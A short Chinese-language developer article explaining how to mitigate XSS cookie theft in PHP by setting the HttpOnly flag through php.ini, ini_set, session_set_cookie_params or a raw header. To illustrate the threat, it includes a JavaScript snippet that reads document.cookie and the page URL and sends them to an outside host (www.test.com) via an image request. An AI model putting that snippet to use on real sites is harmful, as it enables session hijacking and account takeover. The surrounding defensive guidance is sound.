xss防御之php利用httponly防xss攻击
程序员文章站
2023-12-30 21:48:10
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,...
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。
如下js获取cookie信息:
复制代码 代码如下:
url=document.top.location.href;
cookie=document.cookie;
c=new image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;
一般cookie都是从document对象中获取的,现在浏览器在设置cookie的时候一般都接受一个叫做httponly的参数,跟domain等其他参数一样,一旦这个httponly被设置,你在浏览器的document对象中就看不到cookie了。
php设置httponly:
复制代码 代码如下:
//在php.ini中,session.cookie_httponly = ture 来开启全局的cookie的httponly属性
ini_set("session.cookie_httponly", 1);
//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, null, null, null, true);
对于php5.1以前版本的php通过:
复制代码 代码如下:
header("set-cookie: hidden=value; httponly");
最后,httponly不是万能的!